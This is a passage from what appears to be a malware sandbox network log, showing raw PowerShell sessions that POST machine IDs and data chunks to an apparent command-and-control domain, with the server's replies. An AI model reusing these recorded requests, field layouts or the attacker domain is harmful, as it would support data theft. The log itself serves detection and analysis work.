2024-12-22 12:44:23 UTC	1369	IN	Data Raw: 6b 53 6a 6c 4d 78 5a 6d 7a 48 6a 77 6f 58 75 38 66 69 47 42 6c 2b 6a 59 71 45 7a 74 41 4a 53 51 46 4c 5a 73 57 7a 2b 30 63 6a 57 4f 65 72 78 79 4a 57 44 4f 53 76 36 33 4d 61 49 35 4e 63 32 64 34 35 2f 2f 43 61 35 4a 31 35 59 47 2f 7a 67 55 47 62 31 72 4d 39 49 79 2f 57 78 67 64 49 4a 4e 2f 2f 70 6a 34 7a 41 79 78 4a 72 70 6d 2f 38 50 2f 41 61 52 67 78 36 79 61 6b 59 79 75 32 55 79 68 47 57 2b 64 53 68 6d 7a 6c 6a 36 75 6a 69 6f 63 48 61 42 6c 2f 7a 59 71 45 7a 4e 45 49 47 62 47 62 4e 32 58 7a 6d 7a 64 6a 4b 5a 4b 50 4d 7a 50 32 72 54 43 71 75 73 4b 37 51 33 4a 34 2b 4a 70 4a 2f 38 54 4c 5a 48 6b 5a 67 59 75 47 5a 61 4b 72 56 6d 4d 49 5a 68 74 48 63 6d 62 73 4a 4f 39 37 30 2b 6f 44 77 7a 78 70 50 72 6e 50 6b 43 35 77 6a 58 33 31 36 34 65 42 52 67 38 45 45 Data Ascii: kSjlMxZmzHjwoXu8fiGBl+jYqEztAJSQFLZsWz+0cjWOerxyJWDOSv63MaI5Nc2d45//Ca5J15YG/zgUGb1rM9Iy/WxgdIJN//pj4zAyxJrpm/8P/AaRgx6yakYyu2UyhGW+dShmzlj6ujiocHaBl/zYqEzNEIGbGbN2XzmzdjKZKPMzP2rTCqusK7Q3J4+JpJ/8TLZHkZgYuGZaKrVmMIZhtHcmbsJO970+oDwzxpPrnPkC5wjX3164eBRg8EE
2024-12-22 12:44:23 UTC	274	IN	Data Raw: 33 34 76 66 38 46 44 73 2f 52 37 70 43 68 34 6d 64 44 45 6b 2b 59 4a 36 52 48 56 70 42 32 78 62 6c 4d 75 38 48 38 41 78 79 69 38 4d 33 5a 55 32 77 72 6c 2b 6d 50 78 66 6e 6a 54 30 4c 7a 59 74 77 2f 38 46 5a 47 53 43 4c 77 6e 61 67 61 58 64 6a 57 4f 65 4c 70 6b 49 53 32 4d 43 76 7a 36 59 35 70 77 4d 63 61 4c 39 59 37 39 48 4f 6c 48 71 4e 39 65 70 79 41 4d 65 49 56 6a 4d 59 64 76 71 32 4a 6a 53 74 52 41 39 4b 6f 38 74 44 39 34 6a 39 44 69 32 4b 68 66 6f 45 65 54 67 46 37 6e 4d 41 5a 6a 35 54 4e 6f 32 54 71 69 50 54 63 74 31 41 71 72 36 48 58 6a 49 6e 69 5a 30 4b 4f 62 34 68 37 6f 42 49 47 53 57 59 46 65 63 79 4b 39 5a 69 69 59 56 6f 4e 30 4e 47 44 45 58 65 4c 32 4c 71 41 2b 4e 73 61 47 70 4e 61 77 41 36 35 66 72 74 46 57 2f 31 38 61 65 4b 67 67 5a 38 6c 64 Data Ascii: 34vf8FDs/R7pCh4mdDEk+YJ6RHVpB2xblMu8H8Axyi8M3ZU2wrl+mPxfnjT0LzYtw/8FZGSCLwnagaXdjWOeLpkIS2MCvz6Y5pwMcaL9Y79HOlHqN9epyAMeIVjMYdvq2JjStRA9Ko8tD94j9Di2KhfoEeTgF7nMAZj5TNo2TqiPTct1Aqr6HXjIniZ0KOb4h7oBIGSWYFecyK9ZiiYVoN0NGDEXeL2LqA+NsaGpNawA65frtFW/18aeKggZ8ld
2024-12-22 12:44:23 UTC	1369	IN	Data Raw: 33 31 66 33 0d 0a 4e 43 71 32 50 5a 4d 74 6c 66 5a 30 52 71 75 49 41 78 6f 34 6a 74 71 32 6a 2f 74 49 54 45 6a 32 77 72 6c 2b 6d 50 78 66 6e 6a 54 30 4c 7a 59 74 77 2f 38 46 5a 47 53 43 4c 77 6e 61 67 61 65 5a 7a 6d 4d 62 36 30 78 41 47 62 57 54 62 50 30 65 36 78 77 59 50 6a 51 72 4e 6a 50 51 71 34 66 31 38 6c 65 69 6d 4e 61 4e 72 64 32 4c 73 52 47 75 6e 55 72 61 74 49 49 33 62 45 76 70 48 42 32 67 5a 61 6b 77 4b 42 43 72 67 4f 47 30 55 62 76 4d 67 39 74 34 7a 64 76 32 33 66 7a 61 6d 35 37 67 68 4b 68 39 48 75 78 63 47 43 42 31 2b 65 4b 34 67 72 74 45 5a 54 57 49 49 46 6a 51 6a 57 2f 61 7a 36 33 56 70 4e 2b 4c 32 37 4d 43 4d 4b 73 4e 72 4d 7a 50 63 61 75 32 70 62 33 47 4f 6b 4a 6b 5a 46 65 38 53 42 62 65 4f 68 5a 66 38 45 6f 67 6a 31 75 64 59 49 53 73 34 Data Ascii: 31f3NCq2PZMtlfZ0RquIAxo4jtq2j/tITEj2wrl+mPxfnjT0LzYtw/8FZGSCLwnagaeZzmMb60xAGbWTbP0e6xwYPjQrNjPQq4f18leimNaNrd2LsRGunUratII3bEvpHB2gZakwKBCrgOG0UbvMg9t4zdv23fzam57ghKh9HuxcGCB1+eK4grtEZTWIIFjQjW/az63VpN+L27MCMKsNrMzPcau2pb3GOkJkZFe8SBbeOhZf8Eogj1udYISs4
2024-12-22 12:44:23 UTC	1369	IN	Data Raw: 4a 34 2b 4a 70 49 36 77 56 4c 78 4a 31 34 4e 65 35 79 41 54 4f 36 4a 79 4f 59 70 2b 76 6a 51 51 55 2b 56 45 39 4c 73 74 73 7a 30 30 34 4a 50 31 6b 73 34 79 2b 77 53 5a 6e 78 6d 70 63 52 52 32 38 47 39 2f 30 56 48 39 4f 32 35 53 6a 41 72 72 2b 6d 50 6a 42 54 76 50 6e 75 4f 4f 34 55 48 4a 43 5a 43 51 43 4b 39 74 57 42 6d 7a 63 54 58 4a 4a 76 31 31 62 6a 57 51 42 4c 4f 2b 4b 75 4e 6f 61 4a 50 4c 73 63 75 6e 58 4c 77 59 32 59 68 65 71 53 41 4d 61 76 34 67 4c 63 6b 77 2f 54 51 74 66 39 42 4d 38 4b 77 34 35 41 34 47 35 49 66 6e 69 50 59 50 30 44 6d 38 6e 52 69 34 65 6c 4d 2b 6c 6b 42 2f 78 79 69 79 4d 33 5a 55 67 67 4b 7a 68 58 58 6a 4b 48 69 5a 30 4e 47 62 2f 67 4c 70 45 59 62 63 4f 36 68 6a 52 44 36 7a 49 48 48 4a 62 76 30 72 66 69 4f 43 54 75 4c 36 59 2f 4e Data Ascii: J4+JpI6wVLxJ14Ne5yATO6JyOYp+vjQQU+VE9Lstsz004JP1ks4y+wSZnxmpcRR28G9/0VH9O25SjArr+mPjBTvPnuOO4UHJCZCQCK9tWBmzcTXJJv11bjWQBLO+KuNoaJPLscunXLwY2YheqSAMav4gLckw/TQtf9BM8Kw45A4G5IfniPYP0Dm8nRi4elM+lkB/xyiyM3ZUggKzhXXjKHiZ0NGb/gLpEYbcO6hjRD6zIHHJbv0rfiOCTuL6Y/N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	50009	104.21.48.1	443	1208	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 12:44:25 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HB1VYCV10Q0DS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12828 Host: learningypr.click
2024-12-22 12:44:25 UTC	12828	OUT	Data Raw: 2d 2d 48 42 31 56 59 43 56 31 30 51 30 44 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 30 31 33 41 35 35 37 42 30 41 44 37 32 38 30 39 30 33 32 34 36 36 46 33 38 44 43 39 35 0d 0a 2d 2d 48 42 31 56 59 43 56 31 30 51 30 44 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 42 31 56 59 43 56 31 30 51 30 44 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 0d 0a 2d 2d 48 42 31 56 59 43 56 31 30 51 30 44 Data Ascii: --HB1VYCV10Q0DSContent-Disposition: form-data; name="hwid"0EE013A557B0AD72809032466F38DC95--HB1VYCV10Q0DSContent-Disposition: form-data; name="pid"2--HB1VYCV10Q0DSContent-Disposition: form-data; name="lid"jMw1IE--bigJ--HB1VYCV10Q0D
2024-12-22 12:44:26 UTC	1141	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 12:44:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oi69h8vmv7a49auq04sht0ngaa; expires=Thu, 17 Apr 2025 06:31:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LgwSoe6SnSDVPjrz6Vikm%2FF%2F7pNiRasSyAV7cxC2jOS5ltxC7vf2vk5HrRNu7zg7%2FZbJ52pf%2FGSzuKUVOJj4uy1%2FhjXYIuhIPWBh4qDhCU0sgPS%2BxCBEy9C%2BsfscvtNsfVLIdw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f603401ea46c323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1472&min_rtt=1468&rtt_var=558&sent=7&recv=16&lost=0&retrans=0&sent_bytes=2842&recv_bytes=13764&delivery_rate=1945369&cwnd=214&unsent_bytes=0&cid=a55daecfbf2d8342&ts=1018&x=0"
2024-12-22 12:44:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 12:44:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	50010	104.21.48.1	443	1208	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 12:44:27 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6NTLDMUFCLZKFZZ6B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15098 Host: learningypr.click
2024-12-22 12:44:27 UTC	15098	OUT	Data Raw: 2d 2d 36 4e 54 4c 44 4d 55 46 43 4c 5a 4b 46 5a 5a 36 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 30 31 33 41 35 35 37 42 30 41 44 37 32 38 30 39 30 33 32 34 36 36 46 33 38 44 43 39 35 0d 0a 2d 2d 36 4e 54 4c 44 4d 55 46 43 4c 5a 4b 46 5a 5a 36 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 4e 54 4c 44 4d 55 46 43 4c 5a 4b 46 5a 5a 36 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 0d 0a 2d 2d Data Ascii: --6NTLDMUFCLZKFZZ6BContent-Disposition: form-data; name="hwid"0EE013A557B0AD72809032466F38DC95--6NTLDMUFCLZKFZZ6BContent-Disposition: form-data; name="pid"2--6NTLDMUFCLZKFZZ6BContent-Disposition: form-data; name="lid"jMw1IE--bigJ--
2024-12-22 12:44:28 UTC	1131	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 12:44:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=02on2ies6a897ot6962fukmiq0; expires=Thu, 17 Apr 2025 06:31:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g1RAC6mWT065sUyZy686X0Zpd2WFhea01GQQ5LD4NmZ1%2F7nQeUNwBLgJTijpwx8enaAHput0dhUIuPSEm3qQjEcX%2BKmabPakskwcw3qUYEAgUwwpkUTqqxIqnBVSaACASmzxzQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6034105afbc461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1636&min_rtt=1626&rtt_var=617&sent=11&recv=20&lost=0&retrans=0&sent_bytes=2841&recv_bytes=16038&delivery_rate=1795817&cwnd=228&unsent_bytes=0&cid=75347b461e80bdea&ts=914&x=0"
2024-12-22 12:44:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 12:44:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50011	104.21.48.1	443	1208	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 12:44:29 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RX2ZQDW2W0NV1DWJ16 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19962 Host: learningypr.click
2024-12-22 12:44:29 UTC	15331	OUT	Data Raw: 2d 2d 52 58 32 5a 51 44 57 32 57 30 4e 56 31 44 57 4a 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 30 31 33 41 35 35 37 42 30 41 44 37 32 38 30 39 30 33 32 34 36 36 46 33 38 44 43 39 35 0d 0a 2d 2d 52 58 32 5a 51 44 57 32 57 30 4e 56 31 44 57 4a 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 52 58 32 5a 51 44 57 32 57 30 4e 56 31 44 57 4a 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 0d Data Ascii: --RX2ZQDW2W0NV1DWJ16Content-Disposition: form-data; name="hwid"0EE013A557B0AD72809032466F38DC95--RX2ZQDW2W0NV1DWJ16Content-Disposition: form-data; name="pid"3--RX2ZQDW2W0NV1DWJ16Content-Disposition: form-data; name="lid"jMw1IE--bigJ
2024-12-22 12:44:29 UTC	4631	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 Data Ascii: +?2+?2+?o?Mp5p_
2024-12-22 12:44:30 UTC	1131	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 12:44:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ro0njho8r9c07u39q234moln57; expires=Thu, 17 Apr 2025 06:31:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4XCVFy92mteHWQcDgnWwzhRYwiJ%2FUjdTucki0%2F3OdqeNYzxoOQv1TqlcOQdOGl5QcrNjw6oVHtBvQx9EjI11RbbEPNhaHXwwV5d4PdYS9QXm39whbqDe1z5XbtuaEX6NUTWrrg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f60341e9d428c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1813&min_rtt=1810&rtt_var=681&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2842&recv_bytes=20925&delivery_rate=1613259&cwnd=238&unsent_bytes=0&cid=e3bd7532461994bc&ts=964&x=0"
2024-12-22 12:44:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 12:44:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50012	104.21.48.1	443	1208	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 12:44:32 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LZAQH4UM7XDWG9ZN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1207 Host: learningypr.click
2024-12-22 12:44:32 UTC	1207	OUT	Data Raw: 2d 2d 4c 5a 41 51 48 34 55 4d 37 58 44 57 47 39 5a 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 30 31 33 41 35 35 37 42 30 41 44 37 32 38 30 39 30 33 32 34 36 36 46 33 38 44 43 39 35 0d 0a 2d 2d 4c 5a 41 51 48 34 55 4d 37 58 44 57 47 39 5a 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 5a 41 51 48 34 55 4d 37 58 44 57 47 39 5a 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 0d 0a 2d 2d 4c 5a 41 Data Ascii: --LZAQH4UM7XDWG9ZNContent-Disposition: form-data; name="hwid"0EE013A557B0AD72809032466F38DC95--LZAQH4UM7XDWG9ZNContent-Disposition: form-data; name="pid"1--LZAQH4UM7XDWG9ZNContent-Disposition: form-data; name="lid"jMw1IE--bigJ--LZA
2024-12-22 12:44:32 UTC	1132	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 12:44:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2b5i10s3b032i8bt7h93ts9ji2; expires=Thu, 17 Apr 2025 06:31:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=watG42xSpo%2FEZSE4u8RGkonUY2KGCvGGEIKCCD%2BjgFrYBU1kxw%2Fv3rih9TQFhOFQGs8rkwqMKlV4DwWZnmoM46agG6Z7Cx6dAkUrA9cs6qyXID6Dt6UZCfr3crKML8cD9Aas%2BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f60342e69df43be-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1709&min_rtt=1560&rtt_var=883&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2123&delivery_rate=1060661&cwnd=226&unsent_bytes=0&cid=2eb9f62266eade3c&ts=808&x=0"
2024-12-22 12:44:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 12:44:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50014	104.21.48.1	443	1208	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 12:44:34 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SQ9O8JPI4MPQCKNB2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1122 Host: learningypr.click
2024-12-22 12:44:34 UTC	1122	OUT	Data Raw: 2d 2d 53 51 39 4f 38 4a 50 49 34 4d 50 51 43 4b 4e 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 30 31 33 41 35 35 37 42 30 41 44 37 32 38 30 39 30 33 32 34 36 36 46 33 38 44 43 39 35 0d 0a 2d 2d 53 51 39 4f 38 4a 50 49 34 4d 50 51 43 4b 4e 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 51 39 4f 38 4a 50 49 34 4d 50 51 43 4b 4e 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 0d 0a 2d 2d Data Ascii: --SQ9O8JPI4MPQCKNB2Content-Disposition: form-data; name="hwid"0EE013A557B0AD72809032466F38DC95--SQ9O8JPI4MPQCKNB2Content-Disposition: form-data; name="pid"1--SQ9O8JPI4MPQCKNB2Content-Disposition: form-data; name="lid"jMw1IE--bigJ--
2024-12-22 12:44:35 UTC	1134	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 12:44:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vdnsh2efe667uvu3pvfd0ctv01; expires=Thu, 17 Apr 2025 06:31:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2ftgJaD53JDjne8fDuXGllGyLcShVFnn%2B%2FQAWOOAkZqELXS21UuZsmDFOlMzy0iSvTR%2B0S5kj%2BDUweY0ymh9qxOx0jGVv9GDIEq77WWQRTe730nkRSDQhlgW4Fwr%2Bg9VA7DM7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f60343b6e218c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1785&min_rtt=1767&rtt_var=699&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=2039&delivery_rate=1525600&cwnd=238&unsent_bytes=0&cid=fde7779649a4df1f&ts=811&x=0"
2024-12-22 12:44:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 12:44:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50015	104.21.48.1	443	1208	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 12:44:36 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 113 Host: learningypr.click
2024-12-22 12:44:36 UTC	113	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 26 68 77 69 64 3d 30 45 45 30 31 33 41 35 35 37 42 30 41 44 37 32 38 30 39 30 33 32 34 36 36 46 33 38 44 43 39 35 Data Ascii: act=get_message&ver=4.0&lid=jMw1IE--bigJ&j=aa77e78b6b0dd1b2226e7b799532ab3a&hwid=0EE013A557B0AD72809032466F38DC95
2024-12-22 12:44:37 UTC	1132	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 12:44:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ec9pj3m03f07eetiuj41kpncue; expires=Thu, 17 Apr 2025 06:31:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: 